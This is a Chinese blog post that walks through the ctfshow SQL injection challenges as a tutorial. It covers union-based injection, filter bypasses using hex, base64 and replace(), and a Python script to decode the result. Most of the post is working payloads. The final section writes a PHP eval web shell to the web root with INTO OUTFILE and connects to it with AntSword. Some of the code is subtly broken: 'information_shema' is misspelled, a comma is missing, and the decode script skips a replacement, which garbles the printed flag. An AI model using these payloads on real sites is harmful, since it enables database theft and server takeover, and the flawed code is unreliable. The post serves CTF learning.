sql注入漏洞

1.0 什么是sql注入

sql注入第一次是在1998年著名黑客杂志phack第54期上提出的

sql注入是服务器端未严格校验客户端发送的数据,导致服务器端sql语句被恶意修改并成功执行

的行为

1.1 sql的分类

sql注入按请求方法分为get型和post型。

按照sq;数据类型分类可分为整型注入,和字符注入。

其他的数据类型:

报错注入:后台的sql语句执行了错误的内容,反回到了前台,叫做爆破注入

双注入:用到了两个select被称作双注入

盲注:盲注是在sql语句破坏后台时,不显示具体的错误,无法看见数据库的报错信息,这

种注入叫做盲注。盲注分为布尔盲注和时间盲注,布尔盲注是后台返回true或者false判断注入

是否成功,时间盲注是在注入语句中运行sleep程序,通过sleep函数是否执行成功来判断是否注入成功

cookie注入:就是在cookie中进行注入

user-Agent注入:就是在user-Agent中进行注入

1.2 整形注入的流程

1 判断是否有注入,半段是否未严格校验

具体方式 (1)检测可控参数的改变是否会改变显示结果

			(2)是否能顺利报错,在报错中显示局部代码,根据局部代码判断注入类型

			   (3) 查看sql语句是否可以不报错

2 什么类型的注入

3 语句是否能够被恶意修改

4 是否能成功执行

具体的注入过程

在查询结果后用union拼接select查询语句,注意,这里必须要用union连接,如果直接使用;;

连接,则会只显示第一个返回集或者直接报错。在使用union时,会出现构造的引号不匹配的

情况,这时候就需要使用注释拼接使引号闭合,也要注意,使用union拼接两个select语句,一

个查询的列数应该和union后连接的语句查询的列数相同,不同会报错。

对具体拼接见[此文](SQL注入:#和--的作用 - 不解风情的帅帅男 - 博客园 (cnblogs.com))

在sql查询语句中常用语句

union select group_concat(schema_name) from information_shema.schemata %23

group_concat用于将输出的数据拼接到一行 %23为# 的url编码,user()函数用于获得当前

用户id,datebase()用于获得当前数据库名,在使用这两个函数时,使用的不是select的查询

某个表的功能,而是在执行其的特殊功能,直接select database()可以返回数据库名

select user可以返回当前用户名

information_shema是一个数据库,其中的schemata表存储这服务器上的所有数据库名

其中的tables表存储了服务器中所有的表名(附带对应的表在哪个数据库),COLUMNS表存储数

据库中所有字段的主键名,即那一列的名字,比如姓名栏最上方的姓名两字,就是一个字段名。

一个具体的查询如下:

union select group_concat(column_name) from information_shema.columns where table_schema= database() and table_name='users'%23

想要拼接两个字段的内容,可以使用concat_ws()函数

具体使用如下 concat_ws(';'username ,password)

1.3 整形注入实例

1.3.1 普通过滤

对于一个查询语句为

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

在实际运行中遵循先解析,再连接,连接完是这样的

 select username,password from user where username !='flag' and id = '' limit 1;

对于这种对flag过滤的形式,我们考虑对其进行拼接

构造payload

1111' or id='26 # 由于两个用or并列的查询条件,当第一个条件满足时,第二个条件不会实

际进行查询,所以构造第一个无法查询,在第二个语句中进行查询。

或者1111' or username like '%f% #

1.3.2 对username 限制

比如对结果存在如下限制

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
      

对返回数据的username进行了限制,这时候我们可以使用联合查询

既然限制返回的username 为flag,我们再进行一个查询直接不查询username即可

999' union select id,password from ctfshow_user2 where username ='flag

payload如上,注意联合查询要求前后两条查询的列数必须相同。

由于sql查询语句后面有limit 1 所以这种查询方式需要将第一个查询构造为flase 才会显示第二

个真正有用的查询或者采用以下的方式

999' union select id,password from ctfshow_user2 where username ='flag' %23

这种查询的原理在于手动构造闭合,然后注释掉后面的' limit 1;

由于变量以get形式传入,而#是关键字,所以要使用unicode编码来实现注释,# 的unicode

编码为%23

或者使用第二种注释方式也可以,即--+

1.3.3 对返回结果中flag字符的限制

查询语句为

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑为

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

直接对返回的结果进行查询,如果查询的三项 username password id 任何一项存在flag字符,

那么将无法进行返回。

对于这种情况,我们应该如何解决呢?

这里提供两个绕过方式,第一个方式:

很明显,既然检测结果中是否含有flag,查询的三个值里有flag字符的只有username,这样就和上

个题一样了,只需要不查询username即可,但问题又来了,联合查询要满足前句的查询个数和

后句相同,既然不去查询username ,又应该怎么凑齐三个查询呢?

这时候就要明白,即使查询错误的列名,也是算一个查询个数的,所以我们真正需要查询的只有

password 因此,只要在前面随便查询两个别的就行了,构造payload和上一题基本相同。

999' union select 1,2,password from ctfshow_user3 where username ='flag' %23

注意到了吧,实际上查询1,2是没有结果的,通过这种方式实现了绕过。

现在讲解一下第二种绕过方式:

首先需要了解下什么是hex 函数

在 mysql,hex()函数用于将数字或者字符串转换为16进制表示,如果输入是字符串,那么字符

串中每个字符的每个字节都将转换为两个16进制

SELECT HEX('geeksforgeeks') AS Hex_string;

所以解决方法就明显了,虽然查询username 但将返回结果以16进制显示即可。

具体payload如下 999' union select id,hex(username),password from ctfshow_user3 where username ='flag' %23

既然可以转为16进制,那么使用base64编码也是可以的

999' union select id,to_base64(username),password from ctfshow_user3 where username ='flag' %23

1.3.4 对数字进行过滤

ctfshow web 174

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

这个过滤把数字给过滤掉,但我们需要的flag中含有数字,这种情况该怎么解决呢?

考虑对查询到的数据中的数字进行替换

首先通过对查询语句的观察或者使用order by进行验证,发现存在2列,过滤了数字就用字符进行占位。

基础思路就是使用replace函数对一个个的数字进行替换,然后获得替换后的flag,使用python进行解密,就可以拿

到flag,payload如下

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username='flag';--+

得到的未解码的flag:

Y@CRmc@Bhvd@CswNTQ@EOTFkYS@JzOGE@JLTQ@JMTctOWJjNi@AhZGNlMWZiM@BI@BYzl@I

对其进行替换,并进行base64解码,这些操作可以通过py实现

import base64
uflag = 'Y@CRmc@Bhvd@CswNTQ@EOTFkYS@JzOGE@JLTQ@JMTctOWJjNi@AhZGNlMWZiM@BI@BYzl@I'
flag = uflag.replace("@A", '1').replace("@B", '2').replace("@C", '3').replace("@D", '4').replace(
    "@E", '5').replace("@F", '6').replace("@G", '7').replace("@H", '8').replace("@I", '9')
print(base64.b64decode(flag))

成功获取flag:ctfshow{054991da"s8a\t-4\t17-9bc6-adce1fb3b6c9}

当然我们在payload中不进行base64编码直接进行替换也是可行的

1.3.5 对所有ascll字符进行过滤

ctfshow web 175 过滤如下

    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

我们发现对所有的ascii字符进行了过滤,常规手段肯定不行,如果本账户是管理员账户,我们便可以写入一句话木

马,我们进行一下尝试

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php

由于是linux系统,所以尝试在linux下网站默认地址写入

用蚁剑连接,获得权限,这时候方式就多了,可以直接改代码删掉过滤,也可也在配置文件中查看数据库账号和密

码,然后连接数据库获得flag

posted @ 2023-09-09 23:48  折翼的小鸟先生  阅读(26)  评论(0编辑  收藏  举报